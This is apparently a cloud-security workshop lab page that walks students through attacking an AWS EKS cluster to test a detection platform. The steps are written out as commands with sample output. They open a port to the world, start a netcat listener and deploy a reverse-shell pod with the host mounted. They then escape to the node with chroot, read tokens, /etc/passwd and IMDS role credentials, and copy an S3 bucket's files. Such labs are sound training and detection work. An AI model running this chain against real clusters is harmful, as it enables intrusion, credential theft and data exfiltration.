Skip to content

Aviata Cloud Solo Flight Challenge (Attack the EKS)

Introduction

Estimated Time: 30 minutes

You have been tasked to test the detection capabilities of the Aviata Cloud Security Platform. You will be attacking a Kubernetes cluster to see if the platform can detect the attack.

  • Investigate how to access the Kubernetes cluster
  • Setup a Netcat listener
  • Deploy a reverse shell to the Kubernetes cluster
  • Interact with the reverse shell

Running the Netcat Listener and Deploying the Reverse Shell

  1. Lets take a look at the permissions we have in AWS. Remember, run all of these commands from the Flight Simulator EC2 Instances with Firefox and SmartProxy installed.

    Look at permissions of the current user

    aws sts get-caller-identity
    

    Sample Results

    {
        "UserId": "AIDAJJQ7Q7Q7Q7Q7Q7Q7Q:i-0cfc4d468a4a86159",
        "Account": "123456789012",
         "Arn": "arn:aws:sts::123456789012:assumed-role/ace135-related-teal/i-0cfc4d468a4a86159"
    }
    

    List the EKS clusters

    aws eks list-clusters
    

    Sample Results

    {
        "clusters": [
            "aviata-eks-cluster"
        ]
    }
    

    We have a single cluster called aviata-eks-cluster. Because we are operating from the Simulator, a jump box, we have access to the management plane of the EKS cluster.

  2. To access a Kubernetes Cluster, we will use kubectl, a Kubernetes command line tool. It relies on a configuration file to know how to connect to the cluster. EKS leverages the AWS Identity Access Management service for accessing resources, but we can ask AWS to generate the configuration file for us.

    Update the kubeconfig file

    aws eks update-kubeconfig \
      --region us-east-2 \
      --name aviata-eks-cluster
    

    Sample Results

    Updated context arn:aws:eks:us-east-2:123456789012:cluster/aviata-eks-cluster in /home/student/.kube/config
    
  3. A config file has been generated and stored locally where kubectl can get to it. Take a quick look.

    Cat the kubectl file

    cat ~/.kube/config
    

    Sample Results

    apiVersion: v1
    clusters:
    - cluster:
        server: https://EKS-CLUSTER-NAME
    <snip>
    

    This results in a large file that provides connection information that kubectl uses to connect to the Kubernetes cluster.

    Who am I in the Kubernetes Cluster

    kubectl auth whoami
    

    Sample Results

    ATTRIBUTE             VALUE
    Username              arn:aws:sts::123456789012:assumed-role/ace135-related-teal/i-0cfc4d468a4a86159
    UID                   aws-iam-authenticator:123456789012:AROATTLINRPJPRY3SZI6X
    Groups                [system:authenticated]
    Extra: accessKeyId    [ASIATTLINRPJMW4JFXP6]
    Extra: arn            [arn:aws:sts::123456789012:assumed-role/ace135-related-teal/i-0cfc4d468a4a86159]
    Extra: canonicalArn   [arn:aws:iam::123456789012:role/ace135-related-teal]
    Extra: principalId    [AROATTLINRPJPRY3SZI6X]
    Extra: sessionName    [i-0cfc4d468a4a86159]
    

    We are now connected to the Kubernetes cluster. We can see that we are connected as the ace135-related-teal role. This role has the ability to interact with the Kubernetes cluster.

Attacking the Kubernetes Cluster

As we discussed, there are a number of ways we can get initial access to a Kubernetes cluster. In this case, we will assume the attacker has already gained the credentials, and we will use them to make changes to the cluster. Lets add a reverse shell.

  1. We need to open up a security group port to allow a reverse shell to communicate with our virtual machine. We will use port 9999.

    Get the ID of our instance

    Here we will use the Instance Metadata Service to get the unique ID of the instance and store it to a variable.

    INSTANCE_ID=$(curl -s http://169.254.169.254/latest/meta-data/instance-id)
    echo "Instance ID: $INSTANCE_ID"
    

    Get the ID of the security group

    Get the ID of the security group for that instance. We know that there is only one security group associated with the instance.

    SECURITY_GROUP_ID=$(aws ec2 describe-instances \
      --instance-ids $INSTANCE_ID \
      --query 'Reservations[0].Instances[0].SecurityGroups[0].GroupId' \
      --output text)
    echo "Security Group ID: $SECURITY_GROUP_ID"
    

    Open up port 9999 in the security group

    Now we will let port 9999 be open to the world. This will allow the reverse shell to connect back to our "Flight Simulator" jumpbox we are on.

    aws ec2 authorize-security-group-ingress \
      --group-id $SECURITY_GROUP_ID \
      --protocol tcp \
      --port 9999 \
      --cidr "0.0.0.0/0"
    

    Sample Results

    {
        "Return": true,
        "SecurityGroupRules": [
            {
                "SecurityGroupRuleId": "sgr-0984050272435bf93",
                "GroupId": "sg-02c34946ee0e5ec54",
                "GroupOwnerId": "123456789012",
                "IsEgress": false,
                "IpProtocol": "tcp",
                "FromPort": 9999,
                "ToPort": 9999,
                "CidrIpv4": "0.0.0.0/0"
            }
        ]
    }
    

    We now have port 9999 open to the world. We want to connect over the internet to simulate an external listener.

  2. We are going to deploy a new Kubernetes pod that will initiate the reverse shell. We already have a template yaml file, we only need to edit the IP address. Get the IP address of the current EC2 instance.

    Get the IP address of the current EC2

    export PUBLIC_IP=$(curl -s http://169.254.169.254/latest/meta-data/public-ipv4)
    echo $PUBLIC_IP
    

    Sample Results

    3.148.107.52
    
  3. We need to update the task file that tells the Kubernetes cluster what POD to deploy and how to configure it. We have a template file that we will use to create the revshell.yaml file. We will update the IP address in the file to match the IP address of the EC2 instance.

    Look at the template file with the VSCode editor

    The file is located in code/ace135/chapter4/revshell_template.yaml Edit the revshell.yaml file

    There are some sections to notice in this template file. - The containers describes the image that will be deployed. raesene/ncat is in Dockerhub and is a simple Netcat image. - The pod's name will be ncat-reverse-shell-pod. Not very stealthy. - Volumes are used to map the host system to the container. This is how we will interact with the host system. We will use this to steal files from the host system. - The args section is where we need to provide the public IP address of the EC2 instance. We will use the envsubst command to replace the IP address in the file.

    Create a new file with the IP address

    Use envsubst to replace the IP address in the template file with the IP address of the EC2 instance.

    cd ~/code/ace135/docs/chapter4/
    cat revshell_template.yaml | envsubst > revshell.yaml
    

    Open the new revshell.yaml file

    New file has been created. Open it in the VSCode editor. Edit the revshell.yaml file

  4. Get a new terminal open in VSCode by splitting the terminal. 1) In the bottom right corner, you will see the + sign. 2) Look for the Split Terminal option, then 3) select bash type. That will open two terminals.

    Open a new terminal in VSCode

  5. Now that we have our revshell.yaml file updated, we need to turn on our Netcat listener. We need to open two terminals in VSCode. Open a second . In the other terminal, we will apply the revshell.yaml file.

    Start the Netcat listener in the first terminal

    nc -lvp 9999
    

    Sample Results

    Listening on 0.0.0.0 9999
    

    This is your command window. Here is where we will be running our commands on the remote system.

  6. In the second terminal, we will apply the revshell.yaml file. This will deploy a pod to the Kubernetes cluster that will connect back to our Netcat listener.

    Apply the revshell.yaml file

    cd ~/code/ace135/docs/chapter4
    kubectl apply -f revshell.yaml
    

    Sample Results

    In or other terminal, you should see the connection from the pod to the Netcat listener.

    Connection received on ec2-3-15-52-57.us-east-2.compute.amazonaws.com 54986
    root
    

    Be Patient

    It can take a minute or two before the connection is established.

From the Reverse Shell, move to the EKS Cluster Instance

  1. You should now see a connection in the Netcat listener. You can interact with the shell. Try running some commands like whoami, hostname, ls, and cat /var/run/secrets/kubernetes.io/serviceaccount/token.

  2. We can go further, look at the revshell.yaml. It is mapping to the host system, the actual EKS VM itself. We can use this to steal files from the EKS VM. Try running ls / and cat /etc/passwd. Use chroot to change the apparent root directory for the current running process. This will allow to execute commands as a user on the node.

    Chroot

    chroot /host
    
    nothing returns, but you are now in the root directory of the EKS VM.

    Span a shell

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    

    Sample Results

    root@ncat-reverse-shell-pod:/#
    
  3. Now that we have root on the VM supporting EKS, lets use the ole IMDS service to steal some creds.

    Add new line to curl commands

    echo '-w "\n"' >> ~/.curlrc
    

    Steal the creds

      # Acquire Instance Role Name from IMDS
    curl http://169.254.169.254/latest/meta-data/iam/security-credentials
    

    Sample Results

    aviata-node-role-f9f23de5
    
  4. Now, who are we? Who owns this shell? What system are we on? Looking at our local user, and our AWS STS role, we can see that we are on an EC2 instance in the EKS cluster.

    Who are we?

    whoami
    

    Sample Results

    root
    

    What system are we on?

    hostname
    

    Sample Results

    ncat-reverse-shell-pod
    

    What is our AWS STS role?

    aws sts get-caller-identity
    

    Sample Results

    {
        "UserId": "AIDAJJQ7Q7Q7Q7Q7Q7Q7Q:i-0cfc4d468a4a86159",
        "Account": "123456789012",
        "Arn": "arn:aws:sts::123456789012:assumed-role/aviata-node-role-f9f23de5/i-0cfc4d468a4a86159"
    }
    

    That ARN is the give away. WE are on the aviata cluster node, running as ROOT!

Stealing Flight Plans

  1. We are on an EC2 instance running in the EKS cluster. We can use the AWS CLI to interact with the EKS cluster. We can also use the AWS CLI to interact with the S3 bucket. Lets list the S3 buckets, but first lets turn off "AWS PAGER" so we can see the results.

    List the S3 buckets

    export AWS_PAGER=""
    aws s3 ls
    

    Sample Results

    2024-07-21 17:31:27 aviata-audit-logs-abcd1234
    2024-07-21 17:31:17 aviata-abcd1234
    <snip>
    
  2. You can see the bucket that was created for this workshop. It might have some juicy stuff in there. Using the s3 bucket name from above, copy the data.

    Set the bucket name for your deployment (buckets have to be unique).

    Remember to replace the aviata-abcd1234 with your bucket name.

    BUCKET_NAME=aviata-abcd1234
    

    Copy the files from the S3 bucket

    aws s3api list-objects \
      --bucket $BUCKET_NAME \
      --query 'Contents[].Key' \
      --output json
    

    Sample Results

    [
        "flightplans/cascadia-explorer.txt",
        "flightplans/ny-la-express.txt",
        "flightplans/shadowhawk.txt",
        "flightplans/thames-to-seine.txt",
        "pilots/pilots.csv"
    ]
    
  3. As an attacker, we have some sensitive documents that we can copy. Let's copy all of these files to the local VM.

    Copy the files from the S3 bucket

    aws s3 cp s3://$BUCKET_NAME /tmp --recursive
    

    Sample Results

    download: s3://aviata-f9f23de5/flightplans/cascadia-explorer.txt to tmp/flightplans/cascadia-explorer.txt
    download: s3://aviata-f9f23de5/flightplans/thames-to-seine.txt to tmp/flightplans/thames-to-seine.txt
    download: s3://aviata-f9f23de5/pilots/pilots.csv to tmp/pilots/pilots.csv
    download: s3://aviata-f9f23de5/flightplans/shadowhawk.txt to tmp/flightplans/shadowhawk.txt
    download: s3://aviata-f9f23de5/flightplans/ny-la-express.txt to tmp/flightplans/ny-la-express.txt
    

    List the files in the /tmp directory

    ls /tmp/flightplans
    

    Sample Results

    cascadia-explorer.txt  ny-la-express.txt  shadowhawk.txt  thames-to-seine.txt
    

    Feel free to check out the files, is anything interesting in there?

You have now successfully attacked the Kubernetes cluster and stolen some sensitive data. Let's see what is next in the workshop.